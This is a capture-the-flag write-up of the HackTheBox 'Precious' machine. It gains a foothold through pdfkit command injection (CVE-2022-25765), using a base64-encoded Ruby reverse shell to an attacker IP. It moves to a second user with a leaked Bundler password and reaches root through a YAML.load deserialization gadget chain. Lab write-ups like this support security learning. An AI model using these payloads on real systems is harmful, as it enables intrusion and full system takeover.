Precious is an Easy difficulty HackTheBox machine that features a web service designed to convert web pages into PDF files. Initial access is gained by exploiting a command injection vulnerability in the underlying pdfkit utility to obtain a low-privileged shell as user ruby. Lateral movement to user henry is accomplished by retrieving plaintext credentials stored in a local Bundler configuration file. Privilege escalation to root is achieved by abusing a sudo script that insecurely parses a local dependencies.yml file using Ruby's unsafe YAML.load method, enabling execution of a deserialization gadget chain to spawn an administrative shell.
1. Initial Enumeration and Service Discovery
1.1 Port Scanning
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O precious.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-18 07:39 -0400 Nmap scan report for precious.htb (10.129.9.53) Host is up (0.49s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA) | 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA) |_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519) 80/tcp open http nginx 1.18.0 | http-server-header: | nginx/1.18.0 |_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15 |_http-title: Convert Web Page to PDF Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.62 seconds
Based on the scan results: - Port 22 is running OpenSSH 8.4p1. - Port 80 is running a website on Nginx 1.18.0.
1.2 Web Service Profiling
The website only had a form that accepted a URL input and downloaded a PDF file created using the HTML content of the URL destination. To test this out, I created a simple HTML file and hosted it using a simple Python server by running python -m http.server.
< html> < body> < h1>Hello World < /body> < /html>
I successfully submitted the URL, and it downloaded a PDF file.
1.3 Metadata Analysis
I decided to check the metadata of the downloaded PDF because PDFs usually include metadata that reveals the PDF version, the application used to create it, etc.
ExifTool Version Number : 13.55 File Name : vj9xuspssj5uroilljpdjco2n6k6ywh7.pdf Directory : . File Size : 10 kB File Modification Date/Time : 2026:09:18 07:52:03-04:00 File Access Date/Time : 2026:09:18 07:52:09-04:00 File Inode Change Date/Time : 2026:09:18 07:52:03-04:00 File Permissions : -rw-rw-r-- File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.4 Linearized : No Page Count : 1 Creator : Generated by pdfkit v0.8.6
Based on the results I gathered, the PDF version is 1.4, and it was created using PdfKit version 0.8.6.
2. Initial Access - pdfkit Command Injection (CVE-2022-25765)
Google search revealed that the PDFKit version 0.8.6 is vulnerable to CVE-2022-25765.
2.1 Vulnerability Analysis
CVE-2022-25765 is a critical Remote Code Injection(RCE) vulnerability via command injection. PDFKit library version 0.8.6 uses unsafe shell string interpolation when passing user-supplied URLs or query parameters into the underlying wkhtmltopdf command-line utility without proper sanitisation or escaping.
I was able to find the exploit on ExploitDB: pdfkit v0.8.7.2 - Command Injection and a working POC on GitHub CVE-2022-25765 - pdfkit.
2.2 Exploitation & Foothold
Executing the POC, I was able to create a malicious URL payload that will get me a reverse shell connection to the target machine.
██╗███╗ ██╗███╗ ██╗ ██████╗ ██████╗███████╗███╗ ██╗████████╗
██║████╗ ██║████╗ ██║██╔═══██╗██╔════╝██╔════╝████╗ ██║╚══██╔══╝
██║██╔██╗ ██║██╔██╗ ██║██║ ██║██║ █████╗ ██╔██╗ ██║ ██║
██║██║╚██╗██║██║╚██╗██║██║ ██║██║ ██╔══╝ ██║╚██╗██║ ██║
██║██║ ╚████║██║ ╚████║╚██████╔╝╚██████╗███████╗██║ ╚████║ ██║
╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝╚══════╝╚═╝ ╚═══╝ ╚═╝
CVE-2022-25765 | pdfkit v0.8.6
By INNOCENTx0
════════════════════════════════════════════════════════════
[*] PAYLOAD GENERATION
════════════════════════════════════════════════════════════
[+] Ruby payload initialized
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.36",4444))'
[~] Encoding payload → UTF-8
[+] UTF-8 encoding complete
b'ruby -rsocket -e\'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.36",4444))\' '
[~] Encoding bytes → Base64
[+] Base64 encoding complete cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTAuMTYuMzYiLDQ0NDQpKScg
──────────────────────────────────────────────────────────── [+] PAYLOAD STATUS: READY
────────────────────────────────────────────────────────────
[!] FINAL PAYLOAD
http://%20`echo cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTAuMTYuMzYiLDQ0NDQpKScg | base64 -d | bash`
═════════════════════════════════════════
[+] TARGET ONLINE
[>] Connection established: http://precious.htb
════════════════════════════════════════════════════════════ [!] EXPLOITATION SEQUENCE INITIATED
[>] Target: http://precious.htb
[>] Sending crafted request... [+] EXPLOITATION SUCCESSFUL
[+] Server accepted the request After setting up a listener, I submitted the FINAL PAYLOAD through the form and received a reverse shell connection as user ruby.
listening on [any] 4444 ... connect to [10.10.16.36] from (UNKNOWN) [10.129.9.53] 49520 whoami ruby
3. Internal Enumeration & Lateral Movement
Local enumeration of the target machine revealed that there are two users: ruby and henry. The current user ruby does not have permission to read the user flag from henry home directory.
Looking through the hidden directories in ruby home directory, I found hardcoded credentials for henry in /home/ruby/.bundle/config.
--- BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH" ruby@precious:~/.bundle$
Using these credentials, I was able to log in as henry into the target machine via SSH and retrieve the user flag from the home directory.
The authenticity of host 'precious.htb (10.129.9.53)' can't be established. henry@precious.htb's password: Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. henry@precious:~$ whoami henry henry@precious:~$ cat user.txt
4. Privilege Escalation - Insecure YAML Deserialization
4.1 Sudo Audit
By running sudo -l, I discovered that henry is permitted to run one command with sudo privileges without a password.
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb4.2 Code & Vulnerability Analysis
By inspecting the /opt/update_dependencies.rb file, I noticed that it is reading a file named dependencies.yml. But there is no dependencies.yml in the directory, and henry does not have write permission to the /opt directory.
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
henry@precious:~$The Ruby code uses the YAML.load() method to load the dependencies.yml file. In Ruby, using YAML.load() function is dangerous because it does not parse text data into hashes or arrays. It can construct live Ruby objects.
When an application calls YAML.load on an untrusted file, an attacker can craft a payload containing special YAML tags (like !ruby/object) that force Ruby to instantiate specific, dangerous objects. When Ruby instantiates or cleans up these objects, it accidentally triggers a chain of method calls (known as a "gadget chain") that executes arbitrary system commands.
4.3 Gadget Chain Execution
Even though henry do not have write permission to the /opt directory, the script is using the relative path to look for dependencies.yml.
This means it will look for the dependencies.yml file in the directory I am running the command from.
YAML.load(File.read("dependencies.yml")) // This uses the relative path.
// The script will look for the file in the directory where the command is executed.
YAML.load(File.read("/opt/dependencies.yml")) // This uses the absolute path
// The script will look for the file only in /opt directoryI was able to find a POC payload here.
After creating a mallicious dependencies.yml file in the home directory of henry, I changed git_set: id to git_set: "/bin/bash".
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "/bin/bash"
method_id: :resolve4.4 Root Shell Acquisition
After running the command with sudo privileges, I was able to escalate privileges as root and retrieve the root flag.
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `< main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ nano dependencies.yml
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/home/henry# whoami
root
root@precious:/home/henry# cat /root/root.txtCongrats! We found both flags!
HTB Machine Completion